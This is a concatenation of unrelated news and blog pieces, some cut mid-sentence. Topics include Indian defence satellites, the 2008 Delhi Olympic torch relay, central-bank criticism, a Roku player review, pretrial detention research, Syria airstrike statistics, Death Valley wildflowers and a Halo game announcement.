neighbourhood.Sources in India's Aerospace Command confirm that they did have access to a live feed that was put in place using typical Indian 'jugaad' but with these satellites such capabilities will become common place.Nair says right now India relies heavily on using Thuraya handsets for satellite telephony but he hopes very soon the Defence Research and Development Organisation (DRDO) will be able to deliver Indian handsets that are compatible with the country's GSAT-6 satellite.In fact Nair insists that in the upcoming GSAT 6-A, satellite telephony should be made the bigger component.While understandably much of the resources are focused on land since India has hostile neighbours both on its western and eastern fronts. ISRO has not forgotten the deep blue oceans that surround India and they need to be protected as well. On a specific demand by the Indian Navy, the Indian space scientists have already deployed a satellite the Navy calls 'Rukmini'. This is a dedicated communications satellite which helps the Indian Navy talk to its ships when they are beyond the visual range, in a secure fashion.In coming years, ISRO will also deliver a dedicated satellite made for the Indian Air Force. Modi is a known space buff who even monitors India's rocket launches even as he goes about executing his day to day parliamentary duties and he is well aware how and where to deploy India's space assets to make sure no one casts an evil eye on India.Yet among all this one chink remains space infrastructure is very vulnerable to attacks of the star wars type. Hence having boots on the ground that can protect the boundary will always be necessary.Last updated on: April 18, 2008 15:54 IST
It was the mother of all non-events. On a day when the Olympic flame was on Indian soil, the key task was to celebrate the human spirit behind the Games. But, the human element was missing, thanks to the devil called fear.
Fear of an attack on the Olympic flame by angry Tibetan refugees loomed large on Chinese minds. So the Indian government stage-managed the event in such a manner that the common man could neither see the torch nor cheer the torchbearers, which included the likes of athlete P T Usha, tennis ace Leander Paes and actor Saif Ali Khan.
Coverage: Tibet Revolts
Senseless security measures ensured that the event was devoid of laughter and cheer. The 300-odd crowd at India Gate was all carefully selected by Coca-Cola, Lenovo, Samsung and the Indian Olympic Association. The people who were sponsored to join in were not even smiling broadly. They felt awkward in the vast stretch of land around them where media-persons were exchanging stares with cops.
Commander G Nandy Singh, winner of two Olympic gold medals (1948 and 1952) and the Dhyan Chand award, told rediff.com after the torch relay: "Everything was quite strange. We were running and securitymen were watching us. There was nobody else to watch us due to a three-rung security arrangement. It was not a good function where the general public was cut-off."
Deep fear in the minds of the Chinese establishment took Indian security to a ridiculous level. India pledged to Beijing that it would provide the best possible security to the Olympic flame, which had come under attack from pro-Tibetan activists in London, Paris and San Francisco.
Thus India tried to be 'holier-than-thou'. It tried to stop unarmed Tibetans, who have no terrorism record, with a massive show of police power. A senior Malayali scribe, who subscribes to Left ideology and is highly sympathetic to China, wondered why the Indian government agreed to arrange such a function in the first place.
Obviously, the Tibetans were upset by democratic India's muscle power.
Tenzin Tsundue, Tibetan poet and activist, told rediff.com: "We didn't do anything to the torch, but the torch has left with more dirt on it. The event proves that China is capable of using anybody and everybody. At the end of the day we know China can be as brutal as those in other countries."
While echoing Tibetans' feelings, he said: "Thursday's security arrangement around the venue indicates China's desire to control the people's expectations for freedom. If you put India and China together you are talking about more than two billion people. Tibetans in India are just 1.20 lakh. We can only make protests."
Naturally, the show of excessive security in New Delhi needs to be condemned.
"We lost an opportunity to showcase the balance," said Kiran Bedi, who returned the invitation to join the torch relay when she came to know about the enhanced security arrangements.
Thursday's relay justified her stance, she feels. She said, "Yes, we made it. Yes, in India, Tibetans or their sympathisers could not touch the torch. But, we have done it at a heavy cost. Each one of us paid a price."
She says, "Indian police officers are well-trained in handling crowds. They face much bigger numbers than any Western police officers. Instead of such a show, we should have allowed children, sports lovers and other public to join in. Democracy is all about balancing. India lost the opportunity to show to the world that it allowed Tibetans to express their anger and at the same time allowed the spread of the Olympic spirit among its people. We have lost."
When asked about the message India gave by providing a quiet and safe passage -- with help of excessive security measures -- to the Olympic flame, former ambassador M K Bhadrakumar said, "The government acted appropriately in providing fool-proof security for the Olympic torch -- in consonance with India's responsibility as a member of the international Olympic movement and keeping in view our obligations as a friendly neighbour of China. Security measures are never 'excessive' when threat perceptions are real, which seems to be the case here."
Former foreign secretary Kanwal Sibal disagreed with him.
Sibal said, "On one hand, we have to bear in mind that the government of India had certain difficulties in carrying out the commitment to provide safety around the torch. At the same time, we can't go beyond our limits because we are a democratic country and cannot suppress the Tibetans' political right of expression.
"India is not positioned in the same way on the issue of Tibet as other countries. China has a claim on Indian territory. On the issue of Tibet, China and India have a clash because Tibetans are in India and protesting against the control of Tibet. India can't deny giving legitimate room as much as possible to vent the Tibetans' anger."
Talking about security, Sibal said India should not have positioned itself in such a way that it looked as if it was done under Chinese pressure.
The former foreign secretary was also upset with the sportsmen who ran with the torch.
He argues, "I would have wished that the torchbearers in India had made a point to the Chinese on behalf of India. They should have told the Chinese that Tibetans are an aggrieved people. By giving a quiet and safe passage, the larger Indian interest was not served."
However, Sibal's arguments are debatable.
Bhadrakumar disagreed, saying: "There is no need to front-load an already complex relationship. Besides, theatrics cannot substitute for diplomacy. Again, the West would not orchestrate this campaign beyond a point. Why should we want to be used as a doormat?
"The temptation to score a transient point on a sunny Thursday afternoon on a Delhi street may seem irresistible, but our interests are best served by working consistently to improve relations with China for what is obviously a long haul. Like in our relationship with Pakistan, it is only in a climate of mutual trust and confidence that intractable differences can be addressed. I can't see any short cuts here," he added.
The fundamental issue to note is that the Indian government's stand reflects the consistency. There is no basic change in India's Tibet policy. The government has taken a clear stand of not upsetting China in its weaker moment.
There is no doubt that the Tibetans' protests is all about timing. China feels embarrassed every time there is a protest against the torch. The Tibetans' agenda is being served with their non-violent protests, which it seems will continue for some time.
Prime Minister Manmohan Singh has not changed India's ongoing policy of India over the issue of Tibet. Since the last five decades, India has not changed its basic stand, said a highly senior officer in the ministry of external affairs.
In an informal conversation last week, the MEA official said: "Over and over and over again India has said that Tibet is an autonomous region of China. India's policy of 1959, 1962 and of subsequent years has not changed. The rest is just matter of details."
Dr Singh termed the Dalai Lama as the greatest living Gandhian just when Beijing accused him of plotting riots in Tibet. At the same time, his government, behaving responsibly, assured China that it will give safe passage to the Olympic torch.
"It is India's responsibility," assured Indian officials to the Chinese government. And India showed off clumsily that it can maintain law and order. As was visible, it did provide security in excess.
India is sending the message, notwithstanding the overkill by security, that India's position is unique on the issue of Tibet. It has done more for Tibetans than any other country.
Democratic India will not ban anti-China demonstrations, but neither is it likely to change its official position on Tibet in the near future nor its support to the 'one-China policy'.
At the end of the day, one sees with awe a remarkable political achievement by the Tibetans -- the two great emerging powers were stopping them in their march towards the Olympic torch.
It was a psychological victory for the Tibetans that they could scare the Chinese even if for a moment.
The Olympic torch relay is being debated more for the show of strength than the spirit it represents. With regard to the complex issue of Tibet, Sino-India civilisational links run so deep that when the timeline and today's realities are given a closer look, such victories seem an illusion.Share
Apparently keen to have a finger in just about every pie that ever came out of the oven, Amazon looks to be planning a move into autonomous car technology. At least, that’s what a newly revealed patent suggests.
Filed with the United States Patent and Trademark Office in November 2015 and granted this week, the document describes a system that helps self-driving cars safely deal with reversible lanes that change direction depending on the volume of traffic at any given time. Such lanes are often used in busy cities during rush hours when large amounts of traffic head inward during the morning and outward later in the afternoon.
Amazon’s proposed technology describes self-driving vehicles communicating with computerized road management systems, allowing for the safe and efficient use of reversible lanes by autonomous cars and trucks, as well as other vehicles.
According to the filing, cars with the necessary kit would send traffic data to a nearby road management system that’s constantly analyzing the incoming information. This would allow the system to work out the ideal lane usage at any given time while sending updates on such lane use back to the autonomous vehicles, enabling them to drive safely according to the conditions. It’s essentially a form of vehicle-t0-infrastructure (V2I) communication, a technology that’s gaining increasing attention in the automotive industry.
With Amazon’s plan for a comprehensive drone delivery network still a ways off, the company’s apparent interest in making road systems as efficient as possible makes perfect sense. And just like Google, Otto, and others, it could even be considering the use of self-driving trucks for its already vast and highly complex delivery network.
But it’s worth noting that, as with all patents, there’s no guarantee Amazon’s design will ever come to fruition. However, it does reveal that the Seattle-based company is exploring how it might get involved in autonomous vehicle technology, so we shouldn’t be too surprised if we see similar ideas – or perhaps more ambitious plans – presented by the company in the coming months and years.LONDON, Oct 18 (Reuters) - Unless central bankers stop sowing discord by inflating a bubble with make-believe money, the world’s top central banks will find their independence challenged, former Conservative Party leader William Hague was quoted as saying on Tuesday.
“Central banks collectively have now indeed lost the plot,” Hague, a former foreign minister, said in an article in the Daily Telegraph newspaper. “They are blowing up a bubble of make-believe money to avoid immediate pain, except for penalising the poor and the prudent.”
“Like doctors keeping their patients on a drip many years after an operation, they are losing credibility and producing very dangerous side effects,” Hague, who led the Conservative Party from 1997 to 2001, said.
Bank of England Governor Mark Carney on Friday hit back at criticism from British Prime Minister Theresa May of the central bank’s low interest rates, saying that he would not “take instruction” from politicians on how to do his job.
May, promising to heed the protests of voters who decided to take Britain out of the European Union, took the unusual step of publicly highlighting the “bad side-effects” for savers of the BoE’s near-zero rates and said a change had to come.
Hague said that by pursing the emergency policies designed to cope with the 2008 crisis, central bankers were becoming unpopular and that unless they changed course, their independence would come under attack.
“Theresa May warned in her conference speech about low interest rates fuelling inequality. Donald Trump rages against the chair of the Fed, Janet Yellen,” Hague said in an article titled “Central bankers have collectively lost the plot. They must raise interest rates or face their doom”.
Hague said the impact of current central bank policies was that savers found it hard to earn any return on their money, asset prices inflated the wealth of the rich, pension funds had poor returns and “zombie companies” stayed in business because they could borrow cheaply.
Unless central bankers - including at the Bank of England - stopped, then their independence will be challenged, Hague said.
Carney has not yet decided whether he wants to stay on after his agreed terms expires. (Reporting by Guy Faulconbridge Editing by Jeremy Gaunt)The world of streaming online video is evolving at a rapid pace. The Roku HD-XR Player is a slick product for getting Internet streaming video to your TV. For a very reasonable cost it can deliver HD-quality movies, TV shows, and a number of other Internet services including Netflix and Amazon Video on Demand directly to your HDTV via a broadband Internet connection.
Roku HD XR – A Wealth of Streaming Connections
With built-in connections for wired Ethernet and wireless 802.11 b,g,n networks, the Roku HD-XR provides a range of options for connecting your television to the Internet. The Roku HD XR player also provides a number of different options for connecting it to your television including: HDMI, composite video, S-video and component video. The HD-XR supports video modes of 720p, 480p and 480i and its flexibility allows you to connect it to just about any television you might own.
The Roku HD-XR player is easy to setup, compact, cost effective, intuitive to use and has a list price of $129. It comes complete with everything you need to get going, although you will also need to have a Netflix account which costs $8.99 per month for a standard streaming video access account. If you are one of the over 12 million current Netflix customers you are all set and you won’t need to pay anything extra.
Roku HD, Netflix, Amazon Video on Demand
After the initial set up you will have access to download over 70,000 titles are that are currently available from Netflix and Amazon Video on Demand pay per view. A growing number are available in HD. The small footprint, lightweight Roku HD-XR allows you to:
Watch streaming movies via Netflix from a rapidly growing collection of over 17,000 titles. Enjoy Amazon Video on Demand’s high quality pay-per-view video, providing immediate access to over 50,000 movies and TV shows priced from 99 cents. Watch full TV series without commercial interruption and without needing multiple DVDs. Access the Pandora free Internet radio service that plays music personalized to your tastes. Access over a dozen other free channels through the Roku Channel Store. Pay the same rate regardless of how many Netflix movies or television episodes you watch. Watch live and archived baseball games from around the country with your MLB.TV premium subscription. Access all these features using an intuitive, easy to use on screen interface. Potentially get rid of costly cable or satellite TV movie channels. Never have to go to a video rental store or pay late fees again. Ever.
The size of the Roku HD-XR hides its true power. This streaming video device weighs only 11 ounces and measures only 5 x 5 x 1.75 inches. You can carry the small, portable Roku HD player to other rooms of your home and connect to other televisions as the device can be moved from one TV to another. Given the Roku HD-XR’s portability you might even take it to a friend’s house and use it there as long as they have a high speed broadband Internet connection.
The Roku HD-XR features a straightforward interface and a simple remote control that doesn’t require you to decipher numerous complex buttons. It is easy to see why the Roku Player is Netflix members’ #1 Rated Streaming Device and why the Wall Street Journal, CNET, WIRED, Amazon users and others have given the Roku player overwhelmingly positive reviews.
There are also a growing number of additional free channels that you can access with your Roku HD-XR player. These include:
Flickr.com, where you can browse your own photos and public photos as well.
, where you can browse your own photos and public photos as well. Facebook Photos, to view Facebook photo albums, as well as friends’ photos.
Photos, to view Facebook photo albums, as well as friends’ photos. SmugMug.com, to view your online albums as well as popular content from SmugMug.
, to view your online albums as well as popular content from SmugMug. Additional free services including: MediaFly.com, Blip.tv, Twit.tv, Revision3.com, FrameChannel.com, DreamTV.com and Highwaygirl.com.
The Roku also provides access to a paid service named MobileTribe that allows you to enjoy online social networking from your TV. MobileTribe helps you stay in sync with your online communities with a single, low cost application. Easily access your existing accounts on Facebook, MySpace, Orkut, Yahoo!, Flickr, Picasa, Google and YouTube, all from your TV.
The Roku is not the only device that allows you to stream video from Netflix and Amazon to your TV. However there is no other device that compares to the features, cost, simplicity, small size, light weight, and ease of use of the Roku. If you are interested in access to streaming video content this is a device well worth checking out.I've been a blog slacker and for that I deserve a spanking. My vote is from the capable hands of the UCLA women's volleyball team. But that's another story. Here's the real story: country music kills.I've long known that country music makes me want to grab a lariat and hang myself from the nearest old elm tree. And now I find I'm not alone: social psychologists Steven Stack and Jim Grundlach found that the more a city's radio stations play country music, the higher the white suicide rate(1).Seriously.Theirs was a big study, encompassing forty-nine metropolitan areas, and was careful to control for factors like Southernness, poverty, divorce, and gun availability. In other words, all else equal, country music makes people want to kill themselves. This was especially true when country music represented a city's sub- rather than mainstream culture.So here's my question: why? Do you think there's necessarily something depressing about country music? More so than emo alternative? Or smooth jazz? I did a little research while driving the other day and found that country songs generally fall into the following categories: I'm not as good as I used to be, Let's get drunk, God is great, Stay true to your family, and Here's how I stuck it to my cheating man. Do these categories create suicide?I'm open to any and all hypotheses as long as they're harebrained and generally unsupported.Wait! I know your finger's hovering over the checkout button, but don't pre-order my new book, Brain Candy: Science, Paradoxes, Puzzles, Logic and Illogic to Nourish Your Neurons yet!I'm trying to punk publishing lists. Specifically, if you might've been
That way (the theory goes) sales will spike, the title will make lists, the sales snowball will continue, and eventually the world will be my oyster! (Insert evil laugh.)
Either that or the experiment will crash, burn, and make for a nice blog post.
NOTES:
(1) The Effect of Country Music on Suicide, Steven Stack and Jim Gundlach, Social Forces, volume 71 issue 1, 1992, p211A dramatic Hankook 24 Hour Race finished on Saturday 14th January under incredible circumstances for Oli Webb, picking up 2nd in the SPX class after a titanic team effort to get the car on track, let alone finish on the podium.
In 2016, Webb had a car fire that destroyed his Mercedes SLS GT3, a new car was found and he started from the back of the gird. His team worked overnight to get his car onto the track and he fought back against the odds to finish on the podium. Unbelievably lightning struck twice and here in 2017 Oli was once again up against it right from the get-go. Oli’s teammate crashed the Huracan during practice, causing irreparable damage to the chassis. Prior to that, Oli was P1 in class and looking good for pole. However, much like the previous year, a replacement car was found in the form of a gold Lamborghini Huracan GT3 and Oli’s Leipert Motorsport team was back in action after cramming 3 weeks work into a single overnight marathon to transform the car into a race worthy machine. The team would start from the back of the grid in 100th position, but at least they were there.
Oli did much of the running and fought hard, pitting in the lead after each stint until track position was lost due to ignition issues. On limited sleep, an exhausted Webb returned to the car 3 laps down to the leader to finish just a few seconds back to cap a remarkable weekend and Oli’s 4th podium in as many races in Dubai, and his second from last on the grid following car issues before the race.
They say things happen in three’s so we’d better prepare a spare car in advance for 2018!
A jubilant but weary Webb commented after the race:
Keep an eye out for Oli’s UAE video filmed in conjunction with the Ras Al Khaimah Tourist Authority. The trailer will be hitting your social media channels soon!
“I’m exhausted. That was one of the toughest races I’ve been involved with. After last year’s car fire and having to start from the back I didn’t ever imagine we’d go through the same thing again. On Thursday evening I thought our weekend was finished but the team performed a miracle on a spare car and somehow got us on the grid for Friday. To come back from 100th place to finish 2nd in the SPX class is a great feeling and the perfect way to repay the team for their efforts. Thank you to every one of them, my sponsors and the fans that turned out. I’ve been in the UAE for almost 10 days taking part in various media activities and of course the race and it’s been a pleasure to enjoy the country, the hospitality and the Dubai 24 hrs. I can’t wait to come back and do it all again next year. Time for some rest and relaxation before getting back in the seat for the rest of the year”.The Colorado Rapids has moved to bolster its backroom staff ahead of the 2015 season, with the news that former striker Claudio López has agreed to the role of Director of Soccer.
López, 40, scored more than 150 goals during an 18-year playing career with some of Europe and South and Central America’s biggest clubs, including Lazio, Valencia, Club América and Racing Club. He also featured at the 1998 and 2002 FIFA World Cups for Argentina, for whom he represented on more than 50 occasions.
"I talked this move over with my family and friends, and decided that - because we felt very well during our stay in Colorado - we would be very happy to come back to Denver and try to help the Rapids,' Lopez said.
"What I can do is support Pablo, and support the guys, and try to push the players to do better things in the field. I can help to change a few things, also, which may help to have a better season next year."
This role marks a return to the club at which he ended his playing career. He spent the 2010 season with the Rapids, at the end of which the club’s current head coach Pablo Mastroeni lifted the MLS Cup. In all, López made 11 regular season appearances for the Rapids.
He also featured in the second leg of the 2010 MLS Playoff semifinal, against Columbus Crew, appearing as a substitute as the tie approached overtime. His experienced, cool head was vital as the contest went to a penalty shoot-out. López scored the penultimate spot-kick as the Rapids went through.
"He's played at the highest level, for both his country and some great clubs across the world, so brings a lot of great experience" said Rapids head coach, Pablo Mastroeni. "The other angle is the offensive part of it. He's a great identifier of talent and, in that role, can help continue to build this good group of attacking players that we have.
"On the field, he's going to be able to work specifically with players that we feel can use that one-on-one type of work, with a guy who can specialize in the finishing aspect of the game."
During his playing career, Lopez was a member of the Valencia side beaten in the final of the UEFA Champions League by Real Madrid in 2000. The Madrid team contained another former Rapids player, Aitor Karanka. The transfer fee which then took him from Valencia to Lazio that same year was in the region of $44m.
López will work closely with Rapids’ VP of Soccer Operations, Paul Bravo, but will also assist Mastroeni and his current coaching staff of Steve Cooke and Chris Sharpe.
He is due to start on January 1, and joins Sporting Director Pádraig Smith as another key offseason addition.Looking for news you can trust?
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Detaining certain defendants before trial makes them more likely to commit a new crime, according to a recent report.
Many pretrial detainees are low-risk, meaning that if they are released before trial, they are highly unlikely to commit other crimes and very likely to return to court. When these defendants are held for two to three days before trial, as opposed to just 24 hours, they are nearly 40 percent more likely to commit new crimes before their trial, and 17 percent more likely to commit another crime within two years, according to a report released last month by the Laura and John Arnold Foundation, a private foundation that funds criminal justice research.
“The primary goal of the American criminal justice system is to protect the public,” the authors of the report say. “But…the pretrial phase of the system is actually helping to create new repeat offenders.”
The report—based on studies of both state and federal courts—also found that the longer low-risk detainees are held behind bars before trial, the more likely they are to commit another crime. Low-risk defendants who were detained for 31 days or more before they had their day in court offended 74 percent more frequently before trial than those detained for just one day. The study found similar results for moderate-risk defendants, though for these offenders, the rate of increase in new criminal activity is smaller. When it comes to high-risk offenders, the report found no correlation between pre-trial detention time and recidivism.
The report noted that recidivism could be curbed if judges made an effort to distinguish between low-, moderate-, and high-risk offenders. “Judges, of course, do their best to sort violent, high-risk defendants from nonviolent, low-risk ones,” the report says, “but they have almost no reliable, data-driven risk assessment tools at their disposal to help them make these decisions.” Fewer than ten percent of US jurisdictions do any sort of risk-assessment during the pretrial stage.
Not only does unnecessary pretrial detention create repeat offenders, it costs taxpayers a lot of money. Pretrial detainees represent more than 60 percent of the total inmate population in the country’s jails. The cost of incarcerating defendants pretrial is about $9 billion.WASHINGTON/DUBAI (Reuters) - As U.S. fighter jets pound Islamic State targets in Syria, Washington’s coalition allies appear increasingly absent from the air war.
Smoke rises after an U.S.-led air strike in the Syrian town of Kobani Ocotber 10, 2014. REUTERS/Umit Bektas
Although President Barack Obama’s administration announced the Syrian air strikes three months ago as a joint campaign by Washington and its Arab allies, nearly 97 percent of the strikes in December have been carried out by the United States alone, according to U.S. military data provided to Reuters.
The data shows that U.S. allies have carried out just two air strikes in Syria in the first half of December, compared with 62 by the United States.
That accentuates a shift that began shortly after the start of the campaign in late September, when U.S. allies carried out 38 percent of the strikes. The percentage quickly dropped to around 8 percent in October and 9 percent in November, according to Reuters calculations based on the data.
U.S. officials are keen to prevent the coalition from fraying over concerns about the air campaign’s direction. Some allies have long worried the air strikes might unintentionally bolster Syrian President Bashar al-Assad by striking a common enemy, sources said. Others in the region are also saying privately that the U.S.-led campaign against Sunni extremists needs to do more to help Sunni Muslims.
However, officials in the United States and the region insist that political tensions simmering within the coalition had nothing to do with dwindling coalition strikes.
“It’s a question of targets. From a military perspective, the cooperation is extensive and deep,” said a source familiar with Gulf strategy in the coalition.
Two factors are at play: a decline in the overall pace of strikes and fewer easier-to-hit fixed Islamic State targets after nearly three months of bombings, U.S. officials and Gulf sources say.
Such fixed targets were initially bombed by Bahrain, Jordan, Saudi Arabia and United Arab Emirates while the United States has from the start focused on more difficult ones, using precision-guided munitions to avoid civilian casualties.
“There are simply less (fixed) targets,” said a U.S. official, speaking on condition of anonymity. “From our point of view, that’s a good thing. It means that the strikes are having an impact.”
Just under half of the 65 non-U.S. coalition air strikes in Syria tallied until 3 a.m. on Dec. 15 took place in the first nine days of the air campaign in late September, according to U.S. military data. U.S. allies carried out 20 air strikes in October and just 14 in November.
The only two strikes by Washington’s allies this month targeted an electronic warfare garrison near the city of Raqqa on Dec. 7, a U.S. official said.
MORE CAPABILITY, FEWER DOUBTS IN IRAQ
The drop in air strikes by coalition partners in Syria underscores the contrast with the campaign in Iraq.
Across the border, the United States has allies with highly trained and equipped air forces, including Britain, France, Canada and Australia. They see the air campaign in Iraq on far more solid legal ground, since they are there at the invitation of Baghdad.
Syria, on the other hand, is considered off-limits by many allies, particularly those in Europe, because of the Syrian government’s public opposition to the U.S.-led air strikes.
“It’s legal issues. It’s concerns that our European partners and others have about where Syria is going,” one U.S. official said. “So the reality is, even though we say the problem knows no border |
to you that it is such a popular show? The Oscars have been running with a hashtag, #OscarsSoWhite. But that doesn’t seem true for the Grammys. What does that mean to you?
“First of all, I’m thrilled to be in a season so extraordinary and diverse as this one. ‘On Your Feet!,’ ‘Allegiance,’ ‘Shuffle Along,’ ‘The Color Purple.’ It’s been an extraordinary year for diversity on Broadway. But that being said, it’s all an accident of timing. Last year’s Tonys were just as white as this year’s Oscars are. It’s three theater owners and 40-something theaters and that’s all a combination of luck and what’s ready and what’s in the pipeline. So don’t pat yourselves on the backs too hard, Broadway. It’s all about what comes in a given year and I’m really excited we’re part of this season.”
Reporter
Karyn Miller-Medzon, producer for Here & Now. She tweets @KBMM.Bangsamoro Transition Commission member Samira Gutoc-Tomawis quits after President Rodrigo Duterte's controversial remarks about soldiers raping women and his martial law declaration
Published 10:10 AM, May 31, 2017
MANILA, Philippines – One of President Rodrigo Duterte's appointees for the drafting of the Bangsamoro Basic Law resigned on Monday, May 29, due to the President's remarks about soldiers raping women and his martial law declaration in Mindanao.
Rappler sources confirmed that Bangsamoro Transition Commission (BTC) member Samira Gutoc-Tomawis manifested her resignation during the meeting between government officials and Moro Islamic Liberation Front (MILF) leaders on Monday.
She told both government peace panel chairperson Irene Santiago and MILF peace panel chairperson Mohagher Iqbal about her decision to resign "for personal reasons."
Gutoc-Tomawis is a resident of Marawi City, ground zero of clashes between government forces and the Maute Group. She is a former journalist and activist.
Informed sources said what prompted her to resign was Duterte's joke last Saturday, May 27, in Sulu that he would take the blame for soldiers who commit rape while martial law is in effect.
"Ako na magpakulong sa inyo. 'Pag naka-rape ka ng 3, aminin ko na akin 'yun (I'll take your place in prison. If you rape 3, I'll take the blame)," said the President, amid concerns there would be human rights abuses during the implementation of martial law in Mindanao.
Another reason she resigned was the martial law declaration itself and the situation in Marawi City from where thousands of residents have had to flee from clashes between government forces and Maute terrorists.
Gutoc-Tomawis is currently helping in evacuation operations of fellow Marawi residents.
The BTC is a 21-member body tasked by Duterte with drafting the BBL which he hopes will be passed within his term. Officials involved in the Bangsamoro peace process expressed confidence on Monday that the draft would be completed by June.
Peace in Mindanao, either through the passage of the BBL or through federalism, is among the major promises of Duterte, the first Philippine President who hails from the southern island region. – Rappler.comDEATH VALLEY, Calif. - A place where usually next to nothing grows is now in full bloom.
It is one of the hottest, driest, most unforgiving places on earth, but El Nino has made Death Valley come alive.
Abby Wines has been a ranger at Death Valley National Park for 11 years. It's been that long since wildflowers bloomed like this.
Death Valley National Park ranger Abby Wines, left, walks through a field of wildflowers with CBS News correspondent John Blackstone. CBS News
"There's a huge number of plants here. Gravel ghost, phacelia, rock daisy, pin cushion, brown-eyed evening primrose down in there," Wines showed CBS News.
"It's amazing to me that anything lives here," Wines said. "And then to have this display of beauty all at once is really a pleasure to experience."
Death Valley normally gets less than two inches of rainfall a year. But in October, three-and-a-half inches fell in just five hours -- wiping out roads and heavily damaging some buildings at Scotty's Castle, one of the park's best-known landmarks.
Nature destroyed -- then nature gave back.
Flowers began springing up in January, a few at a time, until they blanketed entire fields, turning this brown desert into a sea of yellow, purple and white.
Nature: Death Valley flowers
"The reason I like the gravel ghost so much is the stalk is so slender and it's rock-colored, so it blends in," Wines described. "So they look like spirits or spots of light, floating in the air."
More than a dozen varieties of wildflowers are now painting the park, but the biggest show is the desert gold poppy.
"I'm so lucky to get to work here and live here! It's a beautiful, magical place," Wines said. "I don't know if I'm lucky when it's 129 degrees at the end of July, but I'll take that for the rest of the year!"
It was a reward seldom seen during the state's relentless drought. But thanks to El Nino, for a brief few weeks -- until the brutal heat returns -- this harsh desert is a paradise.Biologists believe a bald eagle that was a star of a popular Virginia eagle-watching webcam was killed Tuesday morning, struck by an airplane that was landing at Norfolk International Airport.
A U.S. Airways jet’s landing gear struck and killed a bald eagle as the plane was trying to land, airport official Robert Bowen said. One of the plane's fairings was damaged, but none of the 21 people aboard was hurt.
The eagle, biologists believe, was part of a nesting pair that has been at the nearby Norfolk Botanical Garden since 2003, and was the mother of three chicks that are featured on the garden’s Eagle Cam.
"We are fairly certain that this is the Norfolk Botanical Garden female eagle due to her physical characteristics, size and the fact that she has not been seen at the nest since the strike," said Stephen Living, biologist with the Virginia Department of Game and Inland Fisheries, and Reese Lukei of the Center for Conservation Biology, said in a written statement Tuesday.
Thousands of bird strikes are reported to the Federal Aviation Administration annually, and even strikes involving the formerly endangered bald eagle aren't unheard of. A different eagle was struck at the Norfolk airport two weeks ago, Bowen said. And 136 bald eagles were reported struck at U.S. airports from 1990 though March 2011, though that might be an undercount because the reports are voluntary and because it's not always clear what kind of bird was struck, according to the FAA Wildlife Strike Database.
This particular eagle, though, had something of a following. The webcam, which has followed the pair's December-June nesting seasons since 2006 and is operated in part by CNN affiliate WVEC, got more than 5 million views in March, the month when this year's chicks hatched, VDGIF spokeswoman Julia Dixon told CNN.
"They told me (about the eagle's death), and I just had to go have a cry," Eagle Cam viewer Linda Esaenyi, a Virginia resident who went to the botanical garden to see the eagles Tuesday, told WVEC. "I was so hurt and disappointed, not for just me but for everybody that watches."
Biologists will help the chicks if the father can't or won't raise them by himself, Dixon said. But on Tuesday evening, the webcam showed that an adult eagle - apparently the father - was back in the nest, feeding what looked like a fish to the eaglets.
- CNN's Devon Sayers contributed to this report.A wild turkey that's become semi-famous for chasing pedestrians and bicyclists in Ohio has undergone surgery for a broken leg after being struck by a car.Cleveland.com reports the male turkey named Frank had surgery Saturday. He was struck by a car Dec. 7 in the Akron suburb of Cuyahoga Falls and taken by a wildlife team to an exotic animal veterinarian for treatmentThe animal care supervisor at Stark Parks Wildlife Conservation Center says Frank will stay with the veterinarian the rest of the week before going to Stark Parks for physical therapy. His progress will determine whether he can be released back into the wild.Frank became aggressive toward people after a female turkey with which he was often seen was fatally struck about a year ago.
A wild turkey that's become semi-famous for chasing pedestrians and bicyclists in Ohio has undergone surgery for a broken leg after being struck by a car.
Cleveland.com reports the male turkey named Frank had surgery Saturday. He was struck by a car Dec. 7 in the Akron suburb of Cuyahoga Falls and taken by a wildlife team to an exotic animal veterinarian for treatment
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The animal care supervisor at Stark Parks Wildlife Conservation Center says Frank will stay with the veterinarian the rest of the week before going to Stark Parks for physical therapy. His progress will determine whether he can be released back into the wild.
Frank became aggressive toward people after a female turkey with which he was often seen was fatally struck about a year ago.
AlertMeA Stoic Trick For Greater Happiness
The ancient Stoic philosophers used a very effective technique to attain a greater level of happiness. At first it might seem counter-intuitive, but over thousands of years it, it has been proven to work. They indulge in extreme negative thinking. They imagine the worst.
I know. Counter-intuitive right? We’ve been told all our lives to be more positive. Now it sounds like I’m telling you to be more negative. Yes, but there’s a right way and a wrong way.
In fact there is a right and a wrong way to be a positive or a negative thinker. It’s not about positive or negative thinking. It’s about right or wrong thinking. To be a Pollyanna thinker or see life “through rose colored glasses”, is wrong thinking for people trying to practice positive thinking. To practice negative visualization, as the Stoics did, may be right thinking.
The idea is to imagine what it would be like if things went very wrong.
So, for just a few moments let’s do just that.
Here It Comes
Imagine tomorrow you wake up to find that things had gone very badly for you financially. Through some kind of fraud, you have lost every penny you had, and all of your material possessions are gone. Everything except the clothes on your back.
To make matters worse, you find that you’ve been exiled. You now live on a rather barren island with no modern technology. No cell phones, TV’s, computers, washing machines, refrigerators, cars, nothing. And none of your friends or family are there, nor can you make contact with them. No; there is no way off the island.
Close your eyes and think about this for a few minutes. Try to really imagine this is your new reality. How does it feel?
Then think about the things you have now. Think about the freedom you enjoy, and the relationships you have.
The more effectively you immerse yourself in the practice of negative visualization, the greater the joy and happiness you will experience when you come back to your present reality.
But this doesn’t answer our original question, “If You Lost Everything Today, Could You Be Happy Tomorrow?”[Tweet “If You Lost Everything Today, Could You Be Happy Tomorrow?”]
A Stoic would be just as happy tomorrow with nothing as she/he would be today with everything. They recognize the ephemeral nature of life and everything in it. They accept that everything they have is temporary and can be snatched from them in an instant. This allows them to both fully appreciate what they have, as well as to minimize suffering through loss.
In our modern western society, we are able to quite easily attain everything we need to provide the basics of life; those things truly necessary to our survival. Beyond this, life happens in the mind. It is a matter of perception, and how you process external circumstances.
It is a fact that all of us will experience loss in many forms during our lifetimes. For most of us this will bring suffering, but for those who practice techniques like negative visualization and others I will explore in future posts, this suffering will be greatly minimized or eliminated.
Recommended reading: A Guide to the Good Life: The Ancient Art of Stoic Joy
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RedditUPDATE 16/10: The first trailer has been released.
ORIGINAL STORY 15/10: Microsoft has announced Halo: Spartan Strike, the follow-up to last year's Halo: Spartan Assault.
IGN reports Spartan Strike, like Spartan Assault, is a top-down twin-stick shooter. It's due out for Windows 8 tablet and smartphones as well as Windows PC, including Steam, on 12th December priced $5.99. If you buy it for a Windows Phone you get it for Windows PC and Windows tablets, too, alongside Xbox Live Achievements. Steam is separate though, but the Steam version includes Steam Achievements.
Unlike Spartan Assault, however, Spartan Strike does not include any micro-transactions, Microsoft told IGN.
